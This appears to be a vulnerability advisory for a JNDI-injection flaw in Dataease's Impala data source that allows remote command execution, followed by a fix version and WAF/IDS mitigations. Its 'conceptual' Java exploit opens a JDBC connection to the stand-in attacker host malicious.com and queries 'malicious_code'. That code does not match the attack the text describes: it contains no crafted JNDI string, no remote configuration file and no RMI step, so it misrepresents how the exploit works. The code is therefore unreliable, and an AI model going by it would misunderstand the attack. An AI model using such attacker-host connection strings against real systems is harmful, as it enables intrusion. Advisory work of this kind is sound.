How the Exploit Works
The vulnerability resides in the Impala data source of Dataease due to insufficient filtering in the getJdbc method of the io.dataease.datasource.type.Impala class. Attackers can exploit this flaw by constructing malicious JDBC connection strings that take advantage of JNDI injection, triggering RMI deserialization, and ultimately enabling remote command execution. The exploit is executed by editing the data source and supplying a crafted JDBC connection string that refers to a remote configuration file, leading to RMI-based deserialization attacks.
Conceptual Example Code
This is a conceptual code representation of how the vulnerability might be exploited. It involves providing a malicious JDBC connection string that references a remote configuration file:
import java.sql.*;
public class Exploit {
public static void main(String[] args) {
String url = "jdbc:impala://malicious.com:21050/default;auth=noSasl";
String driver = "com.cloudera.impala.jdbc41.Driver";
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url);
Statement stmt = con.createStatement();
String query = "SELECT * FROM malicious_code";
ResultSet rs = stmt.executeQuery(query);
rs.next();
} catch (Exception e) {
e.printStackTrace();
}
}
}Please note that this example is intended to illustrate the concept of the exploit and should not be used in a real-world scenario.
Mitigation
The issue has been fixed in version 2.10.13 of Dataease. All users are advised to upgrade to this version or later as soon as possible. If immediate upgrade is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. However, these measures can only detect and possibly block attempts at exploiting the vulnerability, and are not a substitute for patching the underlying issue.
